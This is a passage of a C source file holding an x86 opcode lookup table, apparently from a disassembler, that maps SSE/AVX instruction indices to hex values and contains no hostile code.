/* 874 - _0F_3A_0C */ 0xd458, + /* 875 - _0F_3A_0D */ 0xd464, + /* 876 - _0F_3A_0E */ 0xd470, + /* 877 - _0F_3A_0F */ 0xd47c, + /* 878 - */ 0, + /* 879 - */ 0, + /* 87a - */ 0, + /* 87b - */ 0, + /* 87c - _0F_3A_14 */ 0xd488, + /* 87d - _0F_3A_15 */ 0xd494, + /* 87e - _0F_3A_16 */ 0xd4a0, + /* 87f - _0F_3A_17 */ 0xd4ac, + /* 880 - _0F_3A_18 */ 0xd4b8, + /* 881 - _0F_3A_19 */ 0xd4c4, + /* 882 - */ 0, + /* 883 - */ 0, + /* 884 - */ 0, + /* 885 - */ 0, + /* 886 - */ 0, + /* 887 - */ 0, + /* 888 - _0F_3A_20 */ 0xd4d0, + /* 889 - _0F_3A_21 */ 0xd4dc, + /* 88a - _0F_3A_22 */ 0xd4e8, + /* 88b - */ 0, + /* 88c - */ 0, + /* 88d - */ 0, + /* 88e - */ 0, + /* 88f - */ 0, + /* 890 - */ 0, + /* 891 - */ 0, + /* 892 - */ 0, + /* 893 - */ 0, + /* 894 - */ 0, + /* 895 - */ 0, + /* 896 - */ 0, + /* 897 - */ 0, + /* 898 - */ 0, + /* 899 - */ 0, + /* 89a - */ 0, + /* 89b - */ 0, + /* 89c - */ 0, + /* 89d - */ 0, + /* 89e - */ 0, + /* 89f - */ 0, + /* 8a0 - */ 0, + /* 8a1 - */ 0, + /* 8a2 - */ 0, + /* 8a3 - */ 0, + /* 8a4 - */ 0, + /* 8a5 - */ 0, + /* 8a6 - */ 0, + /* 8a7 - */ 0, + /* 8a8 - _0F_3A_40 */ 0xd4f4, + /* 8a9 - _0F_3A_41 */ 0xd500, + /* 8aa - _0F_3A_42 */ 0xd50c, + /* 8ab - */ 0, + /* 8ac - _0F_3A_44 */ 0xd518, + /* 8ad - */ 0, + /* 8ae - */ 0, + /* 8af - */ 0, + /* 8b0 - */ 0, + /* 8b1 - */ 0, + /* 8b2 - _0F_3A_4A */ 0xd524, + /* 8b3 - _0F_3A_4B */ 0xd530, + /* 8b4 - _0F_3A_4C */ 0xd53c, + /* 8b5 - */ 0, + /* 8b6 - */ 0, + /* 8b7 - */ 0, + /* 8b8 - */ 0, + /* 8b9 - */ 0, + /* 8ba - */ 0, + /* 8bb - */ 0, + /* 8bc - */ 0, + /* 8bd - */ 0, + /* 8be - */ 0, + /* 8bf - */ 0, + /* 8c0 - */ 0, + /* 8c1 - */ 0, + /* 8c2 - */ 0, + /* 8c3 - */ 0, + /* 8c4 - */ 0, + /* 8c5 - */ 0, + /* 8c6 - */ 0, + /* 8c7 - */ 0, + /* 8c8 - _0F_3A_60 */ 0xd548, + /* 8c9 - _0F_3A_61 */ 0xd554, + /* 8ca - _0F_3A_62 */ 0xd560, + /* 8cb - _0F_3A_63 */ 0xd56c, + /* 8cc - */ 0, + /* 8cd - */ 0, + /* 8ce - */ 0, + /* 8cf - */ 0, + /* 8d0 - */ 0, + /* 8d1 - */ 0, + /* 8d2 - */ 0, + /* 8d3 - */ 0, + /* 8d4 - */ 0, + /* 8d5 - */ 0, + /* 8d6 - */ 0, + /* 8d7 - */ 0, + /* 8d8 - */ 0, + /* 8d9 - */ 0, + /* 8da - */ 0, + /* 8db - */ 0, + /* 8dc - */ 0, + /* 8dd - */ 0, + /* 8de - */ 0, + /* 8df - */ 0, + /* 8e0 - */ 0, + /* 8e1 - */ 0, + /* 8e2 - */ 0, + /* 8e3 - */ 0, + /* 8e4 - */ 0, + /* 8e5 - */ 0, + /* 8e6 - */ 0, + /* 8e7 - */ 0, + /* 8e8 - */ 0, + /* 8e9 - */ 0, + /* 8ea - */ 0, + /* 8eb - */ 0, + /* 8ec - */ 0, + /* 8ed - */ 0, + /* 8ee - */ 0, + /* 8ef - */ 0, + /* 8f0 - */ 0, + /* 8f1 - */ 0, + /* 8f2 - */ 0, + /* 8f3 - */ 0, + /* 8f4 - */ 0, + /* 8f5 - */ 0, + /* 8f6 - */ 0, + /* 8f7 - */ 0, + /* 8f8 - */ 0, + /* 8f9 - */ 0, + /* 8fa - */ 0, + /* 8fb - */ 0, + /* 8fc - */ 0, + /* 8fd - */ 0, + /* 8fe - */ 0, + /* 8ff - */ 0, + /* 900 - */ 0, + /* 901 - */ 0, + /* 902 - */ 0, + /* 903 - */ 0, + /* 904 - */ 0, + /* 905 - */ 0, + /* 906 - */ 0, + /* 907 - */ 0, + /* 908 - */ 0, + /* 909 - */ 0, + /* 90a - */ 0, + /* 90b - */ 0, + /* 90c - */ 0, + /* 90d - */ 0, + /* 90e - */ 0, + /* 90f - */ 0, + /* 910 - */ 0, + /* 911 - */ 0, + /* 912 - */ 0, + /* 913 - */ 0, + /* 914 - */ 0, + /* 915 - */ 0, + /* 916 - */ 0, + /* 917 - */ 0, + /* 918 - */ 0, + /* 919 - */ 0, + /* 91a - */ 0, + /* 91b - */ 0, + /* 91c - */ 0, + /* 91d - */ 0, + /* 91e - */ 0, + /* 91f - */ 0, + /* 920 - */ 0, + /* 921 - */ 0, + /* 922 - */ 0, + /* 923 - */ 0, + /* 924 - */ 0, + /* 925 - */ 0, + /* 926 - */ 0, + /* 927 - */ 0, + /* 928 - */ 0, + /* 929 - */ 0, + /* 92a - */ 0, + /* 92b - */ 0, + /* 92c - */ 0, + /* 92d - */ 0, + /* 92e - */ 0, + /* 92f - */ 0, + /* 930 - */ 0, + /* 931 - */ 0, + /* 932 - */ 0, + /* 933 - */ 0, + /* 934 - */ 0, + /* 935 - */ 0, + /* 936 - */ 0, + /* 937 - */ 0, + /* 938 - */ 0, + /* 939 - */ 0, + /* 93a - */ 0, + /* 93b - */ 0, + /* 93c - */ 0, + /* 93d - */ 0, + /* 93e - */ 0, + /* 93f - */ 0, + /* 940 - */ 0, + /* 941 - */ 0, + /* 942 - */ 0, + /* 943 - */ 0, + /* 944 - */ 0, + /* 945 - */ 0, + /* 946 - */ 0, + /* 947 - _0F_3A_DF */ 0xd578, + /* 948 - */ 0, + /* 949 - */ 0, + /* 94a - */ 0, + /* 94b - */ 0, + /* 94c - */ 0, + /* 94d - */ 0, + /* 94e - */ 0, + /* 94f - */ 0, + /* 950 - */ 0, + /* 951 - */ 0, + /* 952 - */ 0, + /* 953 - */ 0, + /* 954 - */ 0, + /* 955 - */ 0, + /* 956 - */ 0, + /* 957 - */ 0, + /* 958 - */ 0, + /* 959 - */ 0, + /* 95a - */ 0, + /* 95b - */ 0, + /* 95c - */ 0, + /* 95d - */ 0, + /* 95e - */ 0, + /* 95f - */ 0, + /* 960 - */ 0, + /* 961 - */ 0, + /* 962 - */ 0, + /* 963 - */ 0, + /* 964 - */ 0, + /* 965 - */ 0, + /* 966 - */ 0, + /* 967 - */ 0, + /* 968 - _0F_50 */ 0x23a3, + /* 969 - _66_0F_50 */ 0x23a4, + /* 96a - */ 0, + /* 96b - */ 0, + /* 96c - _V_0F_50 */ 0x4036, + /* 96d - _V_66_0F_50 */ 0x4037, + /* 96e - */ 0, + /* 96f - */ 0, + /* 970 - */ 0, + /* 971 - */ 0, + /* 972 - */ 0, + /* 973 - */ 0, + /* 974 - _0F_51 */ 0x23a5, + /* 975 - _66_0F_51 */ 0x23a6, + /* 976 - _F3_0F_51 */ 0x23a7, + /* 977 - _F2_0F_51 */ 0x23a8, + /* 978 - _V_0F_51 */ 0x4038, + /* 979 - _V_66_0F_51 */ 0x4039, + /* 97a - _V_F3_0F_51 */ 0x403a, + /* 97b - _V_F2_0F_51 */ 0x403b, + /* 97c - */ 0, + /* 97d - */ 0, + /* 97e - */ 0, + /* 97f - */ 0, + /* 980 - _0F_52 */ 0x23a9, + /* 981 - */ 0, + /* 982 - _F3_0F_52 */ 0x23aa, + /* 983 - */ 0, + /* 984 - _V_0F_52 */ 0x403c, + /* 985 - */ 0, + /* 986 - _V_F3_0F_52 */ 0x403d, + /* 987 - */ 0, + /* 988 - */ 0, + /* 989 - */ 0, + /* 98a - */ 0, + /* 98b - */ 0, + /* 98c - _0F_53 */ 0x23ab, + /* 98d - */ 0, + /* 98e - _F3_0F_53 */ 0x23ac, + /* 98f - */ 0, + /* 990 - _V_0F_53 */ 0x403e, + /* 991 - */ 0, + /* 992 - _V_F3_0F_53 */ 0x403f, + /* 993 - */ 0, + /* 994 - */ 0, + /* 995 - */ 0, + /* 996 - */ 0, + /* 997 - */ 0, + /* 998 - _0F_54 */ 0x23ad, + /* 999 - _66_0F_54 */ 0x23ae, + /* 99a - */ 0, + /* 99b - */ 0, + /* 99c - _V_0F_54 */ 0x4040, + /* 99d - _V_66_0F_54 */ 0x4041, + /* 99e - */ 0, + /* 99f - */ 0, + /* 9a0 - */ 0, + /* 9a1 - */ 0, + /* 9a2 - */ 0, + /* 9a3 - */ 0, + /* 9a4 - _0F_55 */ 0x23af, + /* 9a5 - _66_0F_55 */ 0x23b0, + /* 9a6 - */ 0, + /* 9a7 - */ 0, + /* 9a8 - _V_0F_55 */ 0x4042, + /* 9a9 - _V_66_0F_55 */ 0x4043, + /* 9aa - */ 0, + /* 9ab - */ 0, + /* 9ac - */ 0, + /* 9ad - */ 0, + /* 9ae - */ 0, + /* 9af - */ 0, + /* 9b0 - _0F_56 */ 0x23b1, + /* 9b1 - _66_0F_56 */ 0x23b2, + /* 9b2 - */ 0, + /* 9b3 - */ 0, + /* 9b4 - _V_0F_56 */ 0x4044, + /* 9b5 - _V_66_0F_56 */ 0x4045, + /* 9b6 - */ 0, + /* 9b7 - */ 0, + /* 9b8 - */ 0, + /* 9b9 - */ 0, + /* 9ba - */ 0, + /* 9bb - */ 0, + /* 9bc - _0F_57 */ 0x23b3, + /* 9bd - _66_0F_57 */ 0x23b4, + /* 9be - */ 0, + /* 9bf - */ 0, + /* 9c0 - _V_0F_57 */ 0x4046, + /* 9c1 - _V_66_0F_57 */ 0x4047, + /* 9c2 - */ 0, + /* 9c3 - */ 0, + /* 9c4 - */ 0, + /* 9c5 - */ 0, + /* 9c6 - */ 0, + /* 9c7 - */ 0, + /* 9c8 - _0F_58 */ 0x23b5, + /* 9c9 - _66_0F_58 */ 0x23b6, + /* 9ca - _F3_0F_58 */ 0x23b7, + /* 9cb - _F2_0F_58 */ 0x23b8, + /* 9cc - _V_0F_58 */ 0x4048, + /* 9cd - _V_66_0F_58 */ 0x4049, + /* 9ce - _V_F3_0F_58 */ 0x404a, + /* 9cf - _V_F2_0F_58 */ 0x404b, + /* 9d0 - */ 0, + /* 9d1 - */ 0, + /* 9d2 - */ 0, + /* 9d3 - */ 0, + /* 9d4 - _0F_59 */ 0x23b9, + /* 9d5 - _66_0F_59 */ 0x23ba, + /* 9d6 - _F3_0F_59 */ 0x23bb, + /* 9d7 - _F2_0F_59 */ 0x23bc, + /* 9d8 - _V_0F_59 */ 0x404c, + /* 9d9 - _V_66_0F_59 */ 0x404d, + /* 9da - _V_F3_0F_59 */ 0x404e, + /* 9db - _V_F2_0F_59 */ 0x404f, + /* 9dc - */ 0, + /* 9dd - */ 0, + /* 9de - */ 0, + /* 9df - */ 0, + /* 9e0 - _0F_5A */ 0x23bd, + /* 9e1 - _66_0F_5A */ 0x23be, + /* 9e2 - _F3_0F_5A */ 0x23bf, + /* 9e3 - _F2_0F_5A */ 0x23c0, + /* 9e4 - _V_0F_5A */ 0x4050, + /* 9e5 - _V_66_0F_5A */ 0x4051, + /* 9e6 - _V_F3_0F_5A */ 0x4052, + /* 9e7 - _V_F2_0F_5A */ 0x4053, + /* 9e8 - */ 0, + /* 9e9 - */ 0, + /* 9ea - */ 0, + /* 9eb - */ 0, + /* 9ec - _0F_5B */ 0x23c1, + /* 9ed - _66_0F_5B */ 0x23c2, + /* 9ee - _F3_0F_5B */ 0x23c3, + /* 9ef - */ 0, + /* 9f0 - _V_0F_5B */ 0x4054, + /* 9f1 - _V_66_0F_5B */ 0x4055, + /* 9f2 - _V_F3_0F_5B */ 0x4056, + /* 9f3 - */ 0, + /* 9f4 - */ 0, + /* 9f5 - */ 0, + /* 9f6 - */ 0, + /* 9f7 - */ 0, + /* 9f8 - _0F_5C */ 0x23c4, + /* 9f9 - _66_0F_5C */ 0x23c5, + /* 9fa - _F3_0F_5C */ 0x23c6, + /* 9fb - _F2_0F_5C */ 0x23c7, + /* 9fc - _V_0F_5C */ 0x4057, + /* 9fd - _V_66_0F_5C */ 0x4058, + /* 9fe - _V_F3_0F_5C */ 0x4059, + /* 9ff - _V_F2_0F_5C */ 0x405a, + /* a00 - */ 0, + /* a01 - */ 0, + /* a02 - */ 0, + /* a03 - */ 0, + /* a04 - _0F_5D */ 0x23c8, + /* a05 - _66_0F_5D */ 0x23c9, + /* a06 - _F3_0F_5D */ 0x23ca, + /* a07 - _F2_0F_5D */ 0x23cb, + /* a08 - _V_0F_5D */ 0x405b, + /* a09 - _V_66_0F_5D */ 0x405c, + /* a0a - _V_F3_0F_5D */ 0x405d, + /* a0b - _V_F2_0F_5D */ 0x405e, + /* a0c - */ 0, + /* a0d - */ 0, + /* a0e - */ 0, + /* a0f - */ 0, + /* a10 - _0F_5E */ 0x23cc, + /* a11 - _66_0F_5E */ 0x23cd, + /* a12 - _F3_0F_5E */ 0x23ce, + /* a13 - _F2_0F_5E */ 0x23cf, + /* a14 - _V_0F_5E */ 0x405f, + /* a15 - _V_66_0F_5E */ 0x4060, + /* a16 - _V_F3_0F_5E */ 0x4061, + /* a17 - _V_F2_0F_5E */ 0x4062, + /* a18 - */ 0, + /* a19 - */ 0, + /* a1a - */ 0, + /* a1b - */ 0, + /* a1c - _0F_5F */ 0x23d0, + /* a1d - _66_0F_5F */ 0x23d1, + /* a1e - _F3_0F_5F */ 0x23d2, + /* a1f - _F2_0F_5F */ 0x23d3, + /* a20 - _V_0F_5F */ 0x4063, + /* a21 - _V_66_0F_5F */ 0x4064, + /* a22 - _V_F3_0F_5F */ 0x4065, + /* a23 - _V_F2_0F_5F */ 0x4066, + /* a24 - */ 0, + /* a25 - */ 0, + /* a26 - */ 0, + /* a27 - */ 0, + /* a28 - _0F_60 */ 0x23d4, + /* a29 - _66_0F_60 */ 0x23d5, + /* a2a - */ 0, + /* a2b - */ 0, + /* a2c - */ 0, + /* a2d - _V_66_0F_60 */ 0x4067, + /* a2e - */ 0, + /* a2f - */ 0, + /* a30 - */ 0, + /* a31 - */ 0, + /* a32 - */ 0, + /* a33 - */ 0, + /* a34 - _0F_61 */ 0x23d6, + /* a35 - _66_0F_61 */ 0x23d7, + /* a36 - */ 0, + /* a37 - */ 0, + /* a38 - */ 0, + /* a39 - _V_66_0F_61 */ 0x4068, + /* a3a - */ 0, + /* a3b - */ 0, + /* a3c - */ 0, + /* a3d - */ 0, + /* a3e - */ 0, + /* a3f - */ 0, + /* a40 - _0F_62 */ 0x23d8, + /* a41 - _66_0F_62 */ 0x23d9, + /* a42 - */ 0, + /* a43 - */ 0, + /* a44 - */ 0, + /* a45 - _V_66_0F_62 */ 0x4069, + /* a46 - */ 0, + /* a47 - */ 0, + /* a48 - */ 0, + /* a49 - */ 0, + /* a4a - */ 0, + /* a4b - */ 0, + /* a4c - _0F_63 */ 0x23da, + /* a4d - _66_0F_63 */ 0x23db, + /* a4e - */ 0, + /* a4f - */ 0, + /* a50 - */ 0, + /* a51 - _V_66_0F_63 */ 0x406a, + /* a52 - */ 0, + /* a53 - */ 0, + /* a54 - */ 0, + /* a55 - */ 0, + /* a56 - */ 0, + /* a57 - */ 0, + /* a58 - _0F_64 */ 0x23dc, + /* a59 - _66_0F_64 */ 0x23dd, + /* a5a - */ 0, + /* a5b - */ 0, + /* a5c - */ 0, + /* a5d - _V_66_0F_64 */ 0x406b, + /* a5e - */ 0, + /* a5f - */ 0, + /* a60 - */ 0, + /* a61 - */ 0, + /* a62 - */ 0, + /* a63 - */ 0, + /* a64 - _0F_65 */ 0x23de, + /* a65 - _66_0F_65 */ 0x23df, + /* a66 - */ 0, + /* a67 - */ 0, + /* a68 - */ 0, + /* a69 - _V_66_0F_65 */ 0x406c, + /* a6a - */ 0, + /* a6b - */ 0, + /* a6c - */ 0, + /* a6d - */ 0, + /* a6e - */ 0, + /* a6f - */ 0, + /* a70 - _0F_66 */ 0x23e0, + /* a71 - _66_0F_66 */ 0x23e1, + /* a72 - */ 0, + /* a73 - */ 0, + /* a74 - */ 0, + /* a75 - _V_66_0F_66 */ 0x406d, + /* a76 - */ 0, + /* a77 - */ 0, + /* a78 - */ 0, + /* a79 - */ 0, + /* a7a - */ 0, + /* a7b - */ 0, + /* a7c - _0F_67 */ 0x23e2, + /* a7d - _66_0F_67 */ 0x23e3, + /* a7e - */ 0, + /* a7f - */ 0, + /* a80 - */ 0, + /* a81 - _V_66_0F_67 */ 0x406e, + /* a82 - */ 0, + /* a83 - */ 0, + /* a84 - */ 0, + /* a85 - */ 0, + /* a86 - */ 0, + /* a87 - */ 0, + /* a88 - _0F_68 */ 0x23e4, + /* a89 - _66_0F_68 */ 0x23e5, + /* a8a - */ 0, + /* a8b - */ 0, + /* a8c - */ 0, + /* a8d - _V_66_0F_68 */ 0x406f, + /* a8e - */ 0, + /* a8f - */ 0, + /* a90 - */ 0, + /* a91 - */ 0, + /* a92 - */ 0, + /* a93 - */ 0, + /* a94 - _0F_69 */ 0x23e6, + /* a95 - _66_0F_69 */ 0x23e7, + /* a96 - */ 0, + /* a97 - */ 0, + /* a98 - */ 0, + /* a99 - _V_66_0F_69 */ 0x4070, + /* a9a - */ 0, + /* a9b - */ 0, + /* a9c - */ 0, + /* a9d - */ 0, + /* a9e - */ 0, + /* a9f - */ 0, + /* aa0 - _0F_6A */ 0x23e8, + /* aa1 - _66_0F_6A */ 0x23e9, + /* aa2 - */ 0, + /* aa3 - */ 0, + /* aa4 - */ 0, + /* aa5 - _V_66_0F_6A */ 0x4071, + /* aa6 - */ 0, + /* aa7 - */ 0, + /* aa8 - */ 0, + /* aa9 - */ 0, + /* aaa - */ 0, + /* aab - */ 0, + /* aac - _0F_6B */ 0x23ea, + /* aad - _66_0F_6B */ 0x23eb, + /* aae - */ 0, + /* aaf - */ 0, + /* ab0 - */ 0, + /* ab1 - _V_66_0F_6B */ 0x4072, + /* ab2 - */ 0, + /* ab3 - */ 0, + /* ab4 - */ 0, + /* ab5 - */ 0, + /* ab6 - */ 0, + /* ab7 - */ 0, + /* ab8 - */ 0, + /* ab9 - _66_0F_6C */ 0x23ec, + /* aba - */ 0, + /* abb - */ 0, + /* abc - */ 0, + /* abd - _V_66_0F_6C */ 0x4073, + /* abe - */ 0, + /* abf - */ 0, + /* ac0 - */ 0, + /* ac1 - */ 0, + /* ac2 - */ 0, + /* ac3 - */ 0, + /* ac4 - */ 0, + /* ac5 - _66_0F_6D */ 0x23ed, + /* ac6 - */ 0, + /* ac7 - */ 0, + /* ac8 - */ 0, + /* ac9 - _V_66_0F_6D */ 0x4074, + /* aca - */ 0, + /* acb - */ 0, + /* acc - */ 0, + /* acd - */ 0, + /* ace - */ 0, + /* acf - */ 0, + /* ad0 - _0F_6E */ 0x4075, + /* ad1 - _66_0F_6E */ 0x4076, + /* ad2 - */ 0, + /* ad3 - */ 0, + /* ad4 - */ 0, + /* ad5 - _V_66_0F_6E */ 0x4077, + /* ad6 - */ 0, + /* ad7 - */ 0, + /* ad8 - */ 0, + /* ad9 - */ 0, + /* ada - */ 0, + /* adb - */ 0, + /* adc - _0F_6F */ 0x23ee, + /* add - _66_0F_6F */ 0x23ef, + /* ade - _F3_0F_6F */ 0x23f0, + /* adf - */ 0, + /* ae0 - */ 0, + /* ae1 - _V_66_0F_6F */ 0x4078, + /* ae2 - _V_F3_0F_6F */ 0x4079, + /* ae3 - */ 0, + /* ae4 - */ 0, + /* ae5 - */ 0, + /* ae6 - */ 0, + /* ae7 - */ 0, + /* ae8 - _0F_70 */ 0x407a, + /* ae9 - _66_0F_70 */ 0x407b, + /* aea - _F3_0F_70 */ 0x407c, + /* aeb - _F2_0F_70 */ 0x407d, + /* aec - */ 0, + /* aed - _V_66_0F_70 */ 0x407e, + /* aee - _V_F3_0F_70 */ 0x407f, + /* aef - _V_F2_0F_70 */ 0x4080, + /* af0 - */ 0, + /* af1 - */ 0, + /* af2 - */ 0, + /* af3 - */ 0, + /* af4 - */ 0, + /* af5 - */ 0, + /* af6 - _0F_71_02 */ 0xd584, + /* af7 - */ 0, + /* af8 - _0F_71_04 */ 0xd590, + /* af9 - */ 0, + /* afa - _0F_71_06 */ 0xd59c, + /* afb - */ 0, + /* afc - */ 0, + /* afd - */ 0, + /* afe - _0F_72_02 */ 0xd5a8, + /* aff - */ 0, + /* b00 - _0F_72_04 */ 0xd5b4, + /* b01 - */ 0, + /* b02 - _0F_72_06 */ 0xd5c0, + /* b03 - */ 0, + /* b04 - */ 0, + /* b05 - */ 0, + /* b06 - _0F_73_02 */ 0xd5cc, + /* b07 - _0F_73_03 */ 0xd5d8, + /* b08 - */ 0, + /* b09 - */ 0, + /* b0a - _0F_73_06 */ 0xd5e4, + /* b0b - _0F_73_07 */ 0xd5f0, + /* b0c - _0F_74 */ 0x23f1, + /* b0d - _66_0F_74 */ 0x23f2, + /* b0e - */ 0, + /* b0f - */ 0, + /* b10 - */ 0, + /* b11 - _V_66_0F_74 */ 0x4081, + /* b12 - */ 0, + /* b13 - */ 0, + /* b14 - */ 0, + /* b15 - */ 0, + /* b16 - */ 0, + /* b17 - */ 0, + /* b18 - _0F_75 */ 0x23f3, + /* b19 - _66_0F_75 */ 0x23f4, + /* b1a - */ 0, + /* b1b - */ 0, + /* b1c - */ 0, + /* b1d - _V_66_0F_75 */ 0x4082, + /* b1e - */ 0, + /* b1f - */ 0, + /* b20 - */ 0, + /* b21 - */ 0, + /* b22 - */ 0, + /* b23 - */ 0, + /* b24 - _0F_76 */ 0x23f5, + /* b25 - _66_0F_76 */ 0x23f6, + /* b26 - */ 0, + /* b27 - */ 0, + /* b28 - */ 0, + /* b29 - _V_66_0F_76 */ 0x4083, + /* b2a - */ 0, + /* b2b - */ 0, + /* b2c - */ 0, + /* b2d - */ 0, + /* b2e - */ 0, + /* b2f - */ 0, + /* b30 - _0F_77 */ 0x23f7, + /* b31 - */ 0, + /* b32 - */ 0, + /* b33 - */ 0, + /* b34 - _V_0F_77 */ 0x4084, + /* b35 - */ 0, + /* b36 - */ 0, + /* b37 - */ 0, + /* b38 - */ 0, + /* b39 - */ 0, + /* b3a - */ 0, + /* b3b - */ 0, + /* b3c - _0F_78 */ 0x23f8, + /* b3d - _66_0F_78 */ 0x4085, + /* b3e - */ 0, + /* b3f - _F2_0F_78 */ 0x4086, + /* b40 - */ 0, + /* b41 - */ 0, + /* b42 - */ 0, + /* b43 - */ 0, + /* b44 - */ 0, + /* b45 - */ 0, + /* b46 - */ 0, + /* b47 - */ 0, + /* b48 - _0F_79 */ 0x23f9, + /* b49 - _66_0F_79 */ 0x23fa, + /* b4a - */ 0, + /* b4b - _F2_0F_79 */ 0x23fb, + /* b4c - */ 0, + /* b4d - */ 0, + /* b4e - */ 0, + /* b4f - */ 0, + /* b50 - */ 0, + /* b51 - */ 0, + /* b52 - */ 0, + /* b53 - */ 0, + /* b54 - */ 0, + /* b55 - */ 0, + /* b56 - */ 0, + /* b57 - */ 0, + /* b58 - */ 0, + /* b59 - */ 0, + /* b5a - */ 0, + /* b5b - */ 0, + /* b5c - */ 0, + /* b5d - */ 0, + /* b5e - */ 0, + /* b5f - */ 0, + /* b60 - */ 0, + /* b61 - */ 0, + /* b62 - */ 0, + /* b63 - */ 0, + /* b64 - */ 0, + /* b65 - */ 0, + /* b66 - */ 0, + /* b67 - */ 0, + /* b68 - */ 0, + /* b69 - */ 0, + /* b6a - */ 0, + /* b6b - */ 0, + /* b6c - */ 0, + /* b6d - */ 0, + /* b6e - */ 0, + /* b6f - */ 0, + /* b70 - */ 0, + /* b71 - */ 0, + /* b72 - */ 0, + /* b73 - */ 0, + /* b74 - */ 0, + /* b75 - */ 0, + /* b76 - */ 0, + /* b77 - */ 0, + /* b78 - */ 0, + /* b79 - */ 0, + /* b7a - */ 0, + /* b7b - */ 0, + /* b7c - */ 0, + /* b7d - */ 0, + /* b7e - */ 0, + /* b7f - */ 0, + /* b80 - */ 0, + /* b81 - */ 0, + /* b82 - */ 0, + /* b83 - */ 0, + /* b84 - _0F_7A_30 */ 0x23fc, + /* b85 - _0F_7A_31 */ 0x23fd, + /* b86 - */ 0, + /* b87 - */ 0, + /* b88 - */ 0, + /* b89 - */ 0, + /* b8a - */ 0, + /* b8b - */ 0, + /* b8c - */ 0, + /* b8d - */ 0, + /* b8e - */ 0, + /* b8f - */ 0, + /* b90 - */ 0, + /* b91 - */ 0, + /* b92 - */ 0, + /* b93 - */ 0, + /* b94 - */ 0, + /* b95 - */ 0, + /* b96 - */ 0, + /* b97 - */ 0, + /* b98 - */ 0, + /* b99 - */ 0, + /* b9a - */ 0, + /* b9b - */ 0, + /* b9c - */ 0, + /* b9d - */ 0, + /* b9e - */ 0, + /* b9f - */ 0, + /* ba0 - */ 0, + /* ba1 - */ 0, + /* ba2 - */ 0, + /* ba3 - */ 0, + /* ba4 - */ 0, + /* ba5 - */ 0, + /* ba6 - */ 0, + /* ba7 - */ 0, + /* ba8 - */ 0, + /* ba9 - */ 0, + /* baa - */ 0, + /* bab - */ 0, + /* bac - */ 0, + /* bad - */ 0, + /* bae - */ 0, + /* baf - */ 0, + /* bb0 - */ 0, + /* bb1 - */ 0, + /* bb2 - */ 0, + /* bb3 - */ 0, + /* bb4 - */ 0, + /* bb5 - */ 0, + /* bb6 - */ 0, + /* bb7 - */ 0, + /* bb8 - */ 0, + /* bb9 - */ 0, + /* bba - */ 0, + /* bbb - */ 0, + /* bbc - */ 0, + /* bbd - */ 0, + /* bbe - */ 0, + /* bbf - */ 0, + /* bc0 - */ 0, + /* bc1 - */ 0, + /* bc2 - */ 0, + /* bc3 - */ 0, + /* bc4 - */ 0, + /* bc5 - */ 0, + /* bc6 - */ 0, + /* bc7 - */ 0, + /* bc8 - */ 0, + /* bc9 - */ 0, + /* bca - */ 0, + /* bcb - */ 0, + /* bcc - */ 0, + /* bcd - */ 0, + /* bce - */ 0, + /* bcf - */ 0, + /* bd0 - */ 0, + /* bd1 - */ 0, + /* bd2 - */ 0, + /* bd3 - */ 0, + /* bd4 - */ 0, + /* bd5 - */ 0, + /* bd6 - */ 0, + /* bd7 - */ 0, + /* bd8 - */ 0, + /* bd9 - */ 0, + /* bda - */ 0, + /* bdb - */ 0, + /* bdc - */ 0, + /* bdd - */ 0, + /* bde - */ 0, + /* bdf - */ 0, + /* be0 - */ 0, + /* be1 - */ 0, + /* be2 - */ 0, + /* be3 - */ 0, + /* be4 - */ 0, + /* be5 - */ 0, + /* be6 - */ 0, + /* be7 - */ 0, + /* be8 - */ 0, + /* be9 - */ 0, + /* bea - */ 0, + /* beb - */ 0, + /* bec - */ 0, + /* bed - */ 0, + /* bee - */ 0, + /* bef - */ 0, + /* bf0 - */ 0, + /* bf1 - */ 0, + /* bf2 - */ 0, + /* bf3 - */ 0, + /* bf4 - */ 0, + /* bf5 - */ 0, + /* bf6 - */ 0, + /* bf7 - */ 0, + /* bf8 - */ 0, + /* bf9 - */ 0, + /* bfa - */ 0, + /* bfb - */ 0, + /* bfc - */ 0, + /* bfd - */ 0, + /* bfe - */ 0, + /* bff - */ 0, + /* c00 - */ 0, + /* c01 - */ 0, + /* c02 - */ 0, + /* c03 - */ 0, + /* c04 - */ 0, + /* c05 - */ 0, + /* c06 - */ 0, + /* c07 - */ 0, + /* c08 - */ 0, + /* c09 - */ 0, + /* c0a - */ 0, + /* c0b - */ 0, + /* c0c - */ 0, + /* c0d - */ 0, + /* c0e - */ 0, + /* c0f - */ 0, + /* c10 - */ 0, + /* c11 - */ 0, + /* c12 - */ 0, + /* c13 - */ 0, + /* c14 - */ 0, + /* c15 - */ 0, + /* c16 - */ 0, + /* c17 - */ 0, + /* c18 - */ 0, + /* c19 - */ 0, + /* c1a - */ 0, + /* c1b - */ 0, + /* c1c - */ 0, + /* c1d - */ 0, + /* c1e - */ 0, + /* c1f - */ 0, + /* c20 - */ 0, + /* c21 - */ 0, + /* c22 - */ 0, + /* c23 - */ 0, + /* c24 - */ 0, + /* c25 - */ 0, + /* c26 - */ 0, + /* c27 - */ 0, + /* c28 - */ 0, + /* c29 - */ 0, + /* c2a - */ 0, + /* c2b - */ 0, + /* c2c - */ 0, + /* c2d - */ 0, + /* c2e - */ 0, + /* c2f - */ 0, + /* c30 - */ 0, + /* c31 - */ 0, + /* c32 - */ 0, + /* c33 - */ 0, + /* c34 - */ 0, + /* c35 - */ 0, + /* c36 - */ 0, + /* c37 - */ 0, + /* c38 - */ 0, + /* c39 - */ 0, + /* c3a - */ 0, + /* c3b - */ 0, + /* c3c - */ 0, + /* c3d - */ 0, + /* c3e - */ 0, + /* c3f - */ 0, + /* c40 - */ 0, + /* c41 - */ 0, + /* c42 - */ 0, + /* c43 - */ 0, + /* c44 - */ 0, + /* c45 - */ 0, + /* c46 - */ 0, + /* c47 - */ 0, + /* c48 - */ 0, + /* c49 - */ 0, + /* c4a - */ 0, + /* c4b - */ 0, + /* c4c - */ 0, + /* c4d - */ 0, + /* c4e - */ 0, + /* c4f - */ 0, + /* c50 - */ 0, + /* c51 - */ 0, + /* c52 - */ 0, + /* c53 - */ 0, + /* c54 - */ 0, + /* c55 - _66_0F_7C */ 0x23fe, + /* c56 - */ 0, + /* c57 - _F2_0F_7C */ 0x23ff, + /* c58 - */ 0, + /* c59 - _V_66_0F_7C */ 0x4087, + /* c5a - */ 0, + /* c5b - _V_F2_0F_7C */ 0x4088, + /* c5c - */ 0, + /* c5d - */ 0, + /* c5e - */ 0, + /* c5f - */ 0, + /* c60 - */ 0, + /* c61 - _66_0F_7D */ 0x2400, + /* c62 - */ 